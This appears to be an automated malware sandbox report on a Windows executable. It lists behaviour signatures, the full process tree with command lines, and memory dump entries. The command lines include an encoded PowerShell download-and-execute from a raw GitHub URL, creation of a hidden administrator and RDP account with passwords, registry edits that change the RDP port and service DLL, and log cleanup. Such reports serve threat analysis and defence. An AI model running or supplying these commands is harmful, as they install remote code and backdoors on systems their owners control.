Analysis

  • max time kernel
    141s
  • max time network
    135s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    19/07/2021, 06:28

General

  • Target
    c8284ad28e4f8bd853604543884a9438.exe
  • Size 7.1MB
  • Sample210719-5bmejkx72s
  • SHA256 ac5df971e605c439d1851391f51ae799b24823c47aea5c0ac177f00e5d4cc1f2
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 5 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c8284ad28e4f8bd853604543884a9438.exe
    "C:\Users\Admin\AppData\Local\Temp\c8284ad28e4f8bd853604543884a9438.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:580
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd < Proseguo.aiff
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2744
      • C:\Windows\SysWOW64\cmd.exe
        cmd
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4036
        • C:\Windows\SysWOW64\findstr.exe
          findstr /V /R "^YqtUIsXlqZsVJRcFIpXslCfCLplPOGbPHjEKUnpzORUSfakbpNLDEbHcLBoniivxCBhbjLKpZECaIbhaXMGqUUklEpZzfLkHxmdNtOkbrCDZVgNhgQAxBvAIdrSrMsUgaUXoiAhpBoX$" Sia.aiff
          4⤵
            PID:1224
          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Pel.exe.com
            Pel.exe.com l
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1016
            • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Pel.exe.com
              C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Pel.exe.com l
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:960
              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Pel.exe.com
                C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Pel.exe.com
                6⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3868
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
                  7⤵
                  • Deletes itself
                  • Drops file in Windows directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3696
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cckohrsi\cckohrsi.cmdline"
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2132
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD514.tmp" "c:\Users\Admin\AppData\Local\Temp\cckohrsi\CSCCFD80E0414614611B3F159F4142F9E4.TMP"
                      9⤵
                        PID:1812
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                      8⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3652
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                      8⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3504
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                      8⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1916
                    • C:\Windows\system32\reg.exe
                      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
                      8⤵
                        PID:2764
                      • C:\Windows\system32\reg.exe
                        "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
                        8⤵
                        • Modifies registry key
                        PID:1088
                      • C:\Windows\system32\reg.exe
                        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
                        8⤵
                          PID:2204
                        • C:\Windows\system32\net.exe
                          "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                          8⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3964
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                            9⤵
                              PID:3236
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                            8⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3612
                            • C:\Windows\system32\cmd.exe
                              cmd /c net start rdpdr
                              9⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1896
                              • C:\Windows\system32\net.exe
                                net start rdpdr
                                10⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2208
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 start rdpdr
                                  11⤵
                                    PID:2476
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                              8⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3980
                              • C:\Windows\system32\cmd.exe
                                cmd /c net start TermService
                                9⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2080
                                • C:\Windows\system32\net.exe
                                  net start TermService
                                  10⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3988
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 start TermService
                                    11⤵
                                      PID:2164
                              • C:\Windows\system32\cmd.exe
                                "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                                8⤵
                                  PID:3988
                                • C:\Windows\system32\cmd.exe
                                  "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                  8⤵
                                    PID:2140
                          • C:\Windows\SysWOW64\PING.EXE
                            ping 127.0.0.1 -n 30
                            4⤵
                            • Runs ping.exe
                            PID:3560
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc Ghar4f5 /del
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2132
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc Ghar4f5 /del
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1428
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                          3⤵
                            PID:2912
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe user wgautilacc renqwqZQ /add
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2212
                        • C:\Windows\system32\net.exe
                          net.exe user wgautilacc renqwqZQ /add
                          2⤵
                            PID:2764
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 user wgautilacc renqwqZQ /add
                              3⤵
                                PID:2216
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            1⤵
                              PID:2024
                              • C:\Windows\system32\net.exe
                                net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                2⤵
                                  PID:1116
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                    3⤵
                                      PID:2088
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                                  1⤵
                                    PID:1652
                                    • C:\Windows\system32\net.exe
                                      net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                                      2⤵
                                        PID:4020
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                                          3⤵
                                            PID:2108
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                        1⤵
                                          PID:3148
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                            2⤵
                                              PID:2904
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                3⤵
                                                  PID:4036
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe user wgautilacc renqwqZQ
                                              1⤵
                                                PID:2236
                                                • C:\Windows\system32\net.exe
                                                  net.exe user wgautilacc renqwqZQ
                                                  2⤵
                                                    PID:3236
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 user wgautilacc renqwqZQ
                                                      3⤵
                                                        PID:3652
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd.exe /C wmic path win32_VideoController get name
                                                    1⤵
                                                      PID:3884
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic path win32_VideoController get name
                                                        2⤵
                                                          PID:1516
                                                      • C:\Windows\System32\cmd.exe
                                                        cmd.exe /C wmic CPU get NAME
                                                        1⤵
                                                          PID:2216
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic CPU get NAME
                                                            2⤵
                                                              PID:2392
                                                          • C:\Windows\System32\cmd.exe
                                                            cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                            1⤵
                                                              PID:1920
                                                              • C:\Windows\system32\cmd.exe
                                                                cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                2⤵
                                                                  PID:2088
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    3⤵
                                                                    • Blocklisted process makes network request
                                                                    • Drops file in Program Files directory
                                                                    • Drops file in Windows directory
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:1108
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C net user wgautilacc 1234
                                                                1⤵
                                                                  PID:2912
                                                                  • C:\Windows\system32\net.exe
                                                                    net user wgautilacc 1234
                                                                    2⤵
                                                                      PID:2432
                                                                      • C:\Windows\system32\net1.exe
                                                                        C:\Windows\system32\net1 user wgautilacc 1234
                                                                        3⤵
                                                                          PID:2564

                                                                    Network

                                                                          MITRE ATT&CK Enterprise v6

                                                                          Replay Monitor

                                                                          Loading Replay Monitor...

                                                                          Downloads

                                                                          memory/960-127-0x000001ED81860000-0x000001ED81861000-memory.dmp

                                                                          memory/1108-425-0x000001D07C9A8000-0x000001D07C9A9000-memory.dmp

                                                                          memory/1108-394-0x000001D07C9A3000-0x000001D07C9A5000-memory.dmp

                                                                          memory/1108-393-0x000001D07C9A0000-0x000001D07C9A2000-memory.dmp

                                                                          memory/1108-400-0x000001D07C9A6000-0x000001D07C9A8000-memory.dmp

                                                                          memory/1916-269-0x000002DB2DA10000-0x000002DB2DA12000-memory.dmp

                                                                          memory/1916-306-0x000002DB2DA18000-0x000002DB2DA1A000-memory.dmp

                                                                          memory/1916-296-0x000002DB2DA16000-0x000002DB2DA18000-memory.dmp

                                                                          memory/1916-270-0x000002DB2DA13000-0x000002DB2DA15000-memory.dmp

                                                                          memory/3504-229-0x000001B37A7F0000-0x000001B37A7F2000-memory.dmp

                                                                          memory/3504-267-0x000001B37A7F6000-0x000001B37A7F8000-memory.dmp

                                                                          memory/3504-268-0x000001B37A7F8000-0x000001B37A7FA000-memory.dmp

                                                                          memory/3504-230-0x000001B37A7F3000-0x000001B37A7F5000-memory.dmp

                                                                          memory/3652-186-0x000002C9502B0000-0x000002C9502B2000-memory.dmp

                                                                          memory/3652-190-0x000002C9502B6000-0x000002C9502B8000-memory.dmp

                                                                          memory/3652-227-0x000002C9502B8000-0x000002C9502BA000-memory.dmp

                                                                          memory/3652-187-0x000002C9502B3000-0x000002C9502B5000-memory.dmp

                                                                          memory/3696-170-0x00000229B2BC0000-0x00000229B2BC1000-memory.dmp

                                                                          memory/3696-145-0x00000229B1490000-0x00000229B1491000-memory.dmp

                                                                          memory/3696-169-0x00000229B2830000-0x00000229B2831000-memory.dmp

                                                                          memory/3696-164-0x00000229B1388000-0x00000229B1389000-memory.dmp

                                                                          memory/3696-162-0x0000022998E20000-0x0000022998E21000-memory.dmp

                                                                          memory/3696-157-0x00000229B1386000-0x00000229B1388000-memory.dmp

                                                                          memory/3696-142-0x00000229B1290000-0x00000229B1291000-memory.dmp

                                                                          memory/3696-146-0x00000229B1380000-0x00000229B1382000-memory.dmp

                                                                          memory/3696-147-0x00000229B1383000-0x00000229B1385000-memory.dmp

                                                                          memory/3868-135-0x000001D1770E5000-0x000001D1770E6000-memory.dmp

                                                                          memory/3868-133-0x000001D1770E0000-0x000001D1770E2000-memory.dmp

                                                                          memory/3868-128-0x000001D16F7D0000-0x000001D16FE28000-memory.dmp

                                                                          memory/3868-130-0x000001D177CE0000-0x000001D178100000-memory.dmp

                                                                          memory/3868-136-0x000001D1770E6000-0x000001D1770E7000-memory.dmp

                                                                          memory/3868-132-0x000001D16F7D0000-0x000001D16FE28000-memory.dmp

                                                                          memory/3868-134-0x000001D1770E3000-0x000001D1770E5000-memory.dmp